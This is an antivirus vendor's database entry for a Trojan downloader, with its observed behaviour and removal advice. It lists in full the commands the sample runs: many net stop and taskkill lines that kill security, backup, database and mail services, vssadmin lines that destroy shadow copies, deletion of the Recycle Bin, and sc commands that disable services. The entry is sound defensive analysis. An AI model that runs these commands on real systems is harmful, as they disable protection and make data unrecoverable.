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Trojan.DownLoader34.57886

Added to the Dr.Web virus database: 2020-10-03

Virus description added:

Technical Information

Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
  • '%WINDIR%\syswow64\net.exe' stop avpsus /y
  • '%WINDIR%\syswow64\net.exe' stop mfevtp /y
  • '%WINDIR%\syswow64\net.exe' stop RESvc /y
  • '%WINDIR%\syswow64\net.exe' stop wbengine /y
  • '%WINDIR%\syswow64\net.exe' stop mfemms /y
  • '%WINDIR%\syswow64\net.exe' stop mfefire /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SOPHOS /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$CITRIX_METAFRAME /y
  • '%WINDIR%\syswow64\net.exe' stop sacsvr /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$CXDB /y
  • '%WINDIR%\syswow64\net.exe' stop SAVAdminService /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$ECWDB2 /y
  • '%WINDIR%\syswow64\net.exe' stop SAVService /y
  • '%WINDIR%\syswow64\net.exe' stop swi_service /y
  • '%WINDIR%\syswow64\net.exe' stop sms_site_sql_backup /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$BKUPEXEC /y
  • '%WINDIR%\syswow64\net.exe' stop ShMonitor /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$PROD /y
  • '%WINDIR%\syswow64\net.exe' stop Smcinst /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$PROFXENGAGEMENT /y
  • '%WINDIR%\syswow64\net.exe' stop SmcService /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SBSMONITORING /y
  • '%WINDIR%\syswow64\net.exe' stop SntpService /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SHAREPOINT /y
  • '%WINDIR%\syswow64\net.exe' stop sophossps /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SQL_2008 /y
  • '%WINDIR%\syswow64\net.exe' stop swi_update /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$TPSAMA /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEBGC /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$PRACTTICEMGT /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamBackupSvc /y
  • '%WINDIR%\syswow64\net.exe' stop SepMasterService /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamCatalogSvc /y
  • '%WINDIR%\syswow64\net.exe' stop kavfsslp /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamBrokerSvc /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SQL_2008 /y
  • '%WINDIR%\syswow64\net.exe' stop klnagent /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLSERVER /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamDeploySvc /y
  • '%WINDIR%\syswow64\net.exe' stop MBAMService /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPSAMA /y
  • '%WINDIR%\syswow64\net.exe' stop masvc /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$TPS /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamCloudSvc /y
  • '%WINDIR%\syswow64\net.exe' stop macmnsvc /y
  • '%WINDIR%\syswow64\net.exe' stop MySQL80 /y
  • '%WINDIR%\syswow64\net.exe' stop OracleClientCache80 /y
  • '%WINDIR%\syswow64\net.exe' stop McTaskManager /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamEnterpriseManagerSvc /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper /y
  • '%WINDIR%\syswow64\net.exe' stop McAfeeEngineService /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamHvIntegrationSvc /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100 /y
  • '%WINDIR%\syswow64\net.exe' stop McAfeeFramework /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamMountSvc /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLServerOLAPService /y
  • '%WINDIR%\syswow64\net.exe' stop McAfeeFrameworkMcAfeeFramework /y
  • '%WINDIR%\syswow64\net.exe' stop MySQL57 /y
  • '%WINDIR%\syswow64\net.exe' stop McShield /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamRESTSvc /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SYSTEM_BGC /y
  • '%WINDIR%\syswow64\net.exe' stop MBEndpointAgent /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SHAREPOINT /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$TPS /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS /y
  • '%WINDIR%\syswow64\taskkill.exe' /IM thebat64.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM ocomm.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM infopath.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mbamtray.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM zoolz.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' IM thunderbird.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM dbsnmp.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM xfssvccon.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM Ntrtscan.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM isqlplussvc.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM onenote.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM PccNTMon.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM tbirdconfig.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM dbeng50.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM msaccess.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM visio.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM powerpnt.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM msftesql.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM winword.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mysqld-nt.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM wordpad.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mysqld-opt.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM ocautoupds.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM ocssd.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM oracle.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM sqlagent.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM sqlbrowser.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM outlook.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM tmlisten.exe /F
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SYSTEM_BGC /y
  • '%WINDIR%\syswow64\net.exe' stop swi_filter /y
  • '%WINDIR%\syswow64\taskkill.exe' /IM excel.exe /F
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SOPHOS /y
  • '%WINDIR%\syswow64\net.exe' stop swi_update_64 /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2012 /y
  • '%WINDIR%\syswow64\net.exe' stop TmCCSF /y
  • '%WINDIR%\syswow64\net.exe' stop SQLBrowser /y
  • '%WINDIR%\syswow64\net.exe' stop tmlisten /y
  • '%WINDIR%\syswow64\net.exe' stop SQLSafeOLRService /y
  • '%WINDIR%\syswow64\net.exe' stop TrueKey /y
  • '%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT /y
  • '%WINDIR%\syswow64\net.exe' stop TrueKeyScheduler /y
  • '%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY /y
  • '%WINDIR%\syswow64\taskkill.exe' /IM CNTAoSMgr.exe /F
  • '%WINDIR%\syswow64\net.exe' stop svcGenericHost /y
  • '%WINDIR%\syswow64\taskkill.exe' /IM sqlwriter.exe /F
  • '%WINDIR%\syswow64\net.exe' stop TrueKeyServiceHelper /y
  • '%WINDIR%\syswow64\net.exe' stop vapiendpoint /y
  • '%WINDIR%\syswow64\taskkill.exe' /IM encsvc.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM steam.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM thebat.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM agntsvc.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM firefoxconfig.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM sqbcoreservice.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mysqld.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mydesktopservice.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mydesktopqos.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM mspub.exe /F
  • '%WINDIR%\syswow64\net.exe' stop SQLTELEMETRY$ECWDB2 /y
  • '%WINDIR%\syswow64\net.exe' stop WRSVC /y
  • '%WINDIR%\syswow64\net.exe' stop mssql$vim_sqlexp /y
  • '%WINDIR%\syswow64\net.exe' stop KAVFSGT /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$SBSMONITORING /y
  • '%WINDIR%\syswow64\net.exe' stop SQLWriter /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecRPCService /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecManagementService /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecJobEngine /y
  • '%WINDIR%\syswow64\net.exe' stop MsDtsServer /y
  • '%WINDIR%\syswow64\net.exe' stop IISAdmin /y
  • '%WINDIR%\syswow64\net.exe' stop MSExchangeES /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Agent” /y
  • '%WINDIR%\syswow64\net.exe' stop EraserSvc11710 /y
  • '%WINDIR%\syswow64\net.exe' stop “Enterprise Client Service” /y
  • '%WINDIR%\syswow64\net.exe' stop “SQL Backups /y
  • '%WINDIR%\syswow64\net.exe' stop MsDtsServer100 /y
  • '%WINDIR%\syswow64\net.exe' stop NetMsmqActivator /y
  • '%WINDIR%\syswow64\net.exe' stop AcronisAgent /y
  • '%WINDIR%\syswow64\net.exe' stop MSExchangeSA /y
  • '%WINDIR%\syswow64\net.exe' stop CASAD2DWebSvc /y
  • '%WINDIR%\syswow64\net.exe' stop ReportServer /y
  • '%WINDIR%\syswow64\net.exe' stop “SQLsafe Backup Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MsDtsServer110 /y
  • '%WINDIR%\syswow64\net.exe' stop POP3Svc /y
  • '%WINDIR%\syswow64\net.exe' stop MSExchangeMGMT /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Clean Service” /y
  • '%WINDIR%\syswow64\net.exe' stop SMTPSvc /y
  • '%WINDIR%\syswow64\net.exe' stop ReportServer$SQL_2008 /y
  • '%WINDIR%\syswow64\net.exe' stop “SQLsafe Filter Service” /y
  • '%WINDIR%\syswow64\net.exe' stop msftesql$PROD /y
  • '%WINDIR%\syswow64\net.exe' stop ReportServer$TPS /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos File Scanner Service” /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos AutoUpdate Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MSExchangeIS /y
  • '%WINDIR%\syswow64\net.exe' stop SamSs /y
  • '%WINDIR%\syswow64\net.exe' stop sophos /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamTransportSvc /y
  • '%WINDIR%\syswow64\net.exe' stop mfewc /y
  • '%WINDIR%\syswow64\net.exe' stop QBFCService /y
  • '%WINDIR%\syswow64\net.exe' stop RTVscan /y
  • '%WINDIR%\syswow64\net.exe' stop SavRoam /y
  • '%WINDIR%\syswow64\net.exe' stop ccSetMgr /y
  • '%WINDIR%\syswow64\net.exe' stop ccEvtMgr /y
  • '%WINDIR%\syswow64\net.exe' stop DefWatch /y
  • '%WINDIR%\syswow64\net.exe' stop NetBackup BMR MTFTP Service /y
  • '%WINDIR%\syswow64\net.exe' stop BMR Boot Service /y
  • '%WINDIR%\syswow64\net.exe' stop QBIDPService /y
  • '%WINDIR%\syswow64\net.exe' stop Intuit.QuickBooks.FCS /y
  • '%WINDIR%\syswow64\net.exe' stop QBCFMonitorService /y
  • '%WINDIR%\syswow64\net.exe' stop CAARCUpdateSvc /y
  • '%WINDIR%\syswow64\net.exe' stop UI0Detect /y
  • '%WINDIR%\syswow64\net.exe' stop McAfeeDLPAgentService /y
  • '%WINDIR%\syswow64\net.exe' stop VSNAPVSS /y
  • '%WINDIR%\syswow64\net.exe' stop stc_raw_agent /y
  • '%WINDIR%\syswow64\net.exe' stop zhudongfangyu /y
  • '%WINDIR%\syswow64\net.exe' stop YooIT /y
  • '%WINDIR%\syswow64\net.exe' stop YooBackup /y
  • '%WINDIR%\syswow64\net.exe' stop veeam /y
  • '%WINDIR%\syswow64\net.exe' stop PDVFSService /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecVSSProvider /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecAgentAccelerator /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecAgentBrowser /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecDiveciMediaService /y
  • '%WINDIR%\syswow64\net.exe' stop “Acronis VSS Provider” /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamDeploymentService /y
  • '%WINDIR%\syswow64\net.exe' stop VeeamNFSSvc /y
  • '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc /y
  • '%WINDIR%\syswow64\net.exe' stop MSOLAP$SQL_2008 /y
  • '%WINDIR%\syswow64\net.exe' stop Antivirus /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SBSMONITORING /y
  • '%WINDIR%\syswow64\net.exe' stop AVP /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SHAREPOINT /y
  • '%WINDIR%\syswow64\net.exe' stop DCAgent /y
  • '%WINDIR%\syswow64\net.exe' stop bedbg /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SQL_2008 /y
  • '%WINDIR%\syswow64\net.exe' stop EhttpSrv /y
  • '%WINDIR%\syswow64\net.exe' stop ntrtscan /y
  • '%WINDIR%\syswow64\net.exe' stop EPUpdateService /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$TPS /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2008R2 /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$PROFXENGAGEMENT /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Web Control Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SBSMONITORING /
  • '%WINDIR%\syswow64\net.exe' stop EPSecurityService /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS /y
  • '%WINDIR%\syswow64\net.exe' stop MMS /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$TPSAMA /y
  • '%WINDIR%\syswow64\net.exe' stop EsgShKernel /y
  • '%WINDIR%\syswow64\net.exe' stop ESHASRV /y
  • '%WINDIR%\syswow64\net.exe' stop SDRSVC /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$VEEAMSQL2012 /y
  • '%WINDIR%\syswow64\net.exe' stop FA_Scheduler /y
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$VEEAMSQL2008R2 /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  • '%WINDIR%\syswow64\net.exe' stop KAVFS /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SYSTEM_BGC /y
  • '%WINDIR%\syswow64\net.exe' stop mozyprobackup /y
  • '%WINDIR%\syswow64\net.exe' stop ekrn /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$PROD /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTTICEBGC /y
  • '%WINDIR%\syswow64\net.exe' stop “Symantec System Recovery” /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Device Control Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MSExchangeMTA /y
  • '%WINDIR%\syswow64\net.exe' stop SstpSvc /y
  • '%WINDIR%\syswow64\net.exe' stop “Veeam Backup Catalog Data Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MSOLAP$SYSTEM_BGC /y
  • '%WINDIR%\syswow64\net.exe' stop W3Svc /y
  • '%WINDIR%\syswow64\net.exe' stop MSExchangeSRS /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Health Service” /y
  • '%WINDIR%\syswow64\net.exe' stop ReportServer$TPSAMA /y
  • '%WINDIR%\syswow64\net.exe' stop “Zoolz 2 Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MSOLAP$TPS /y
  • '%WINDIR%\syswow64\net.exe' stop “aphidmonitorservice” /y
  • '%WINDIR%\syswow64\net.exe' stop msexchangeadtopology /y
  • '%WINDIR%\syswow64\net.exe' stop ReportServer$SYSTEM_BGC /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos MCS Agent” /y
  • '%WINDIR%\syswow64\net.exe' stop “intel(r) proset monitoring service” /y
  • '%WINDIR%\syswow64\net.exe' stop msexchangeimap4 /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos MCS Client” /y
  • '%WINDIR%\syswow64\net.exe' stop ARSM /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$BKUPEXEC /y
  • '%WINDIR%\syswow64\net.exe' stop unistoresvc_1af40a /y
  • '%WINDIR%\syswow64\net.exe' stop BackupExecDeviceMediaService /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos System Protection Service” /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$PRACTICEMGT /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Safestore Service” /y
  • '%WINDIR%\syswow64\net.exe' stop audioendpointbuilder /y
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$ECWDB2 /y
  • '%WINDIR%\syswow64\net.exe' stop “Sophos Message Router” /y
  • '%WINDIR%\syswow64\net.exe' stop MSOLAP$TPSAMA /y
  • '%WINDIR%\syswow64\taskkill.exe' /IM sqlservr.exe /F
  • '%WINDIR%\syswow64\taskkill.exe' /IM synctime.exe /F
Network activity
Connects to
  • 'google.com':443
  • 'ra#.####ubusercontent.com':443
UDP
  • DNS ASK ra#.####ubusercontent.com
  • DNS ASK google.com
Miscellaneous
Searches for the following windows
  • ClassName: 'TaskManagerWindow' WindowName: 'Administrador de tareas'
  • ClassName: '#32770' WindowName: 'Task Manager'
  • ClassName: '#32770' WindowName: ''
  • ClassName: 'SysListView32' WindowName: 'Processes'
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
  • '%WINDIR%\syswow64\sc.exe' config SstpSvc start= disabled
  • '%WINDIR%\syswow64\sc.exe' config SQLWriter start= disabled
  • '%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled
  • '%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY start= disabled
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=unbounded

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

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Download Dr.Web

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Download on App Store

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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Download Dr.Web

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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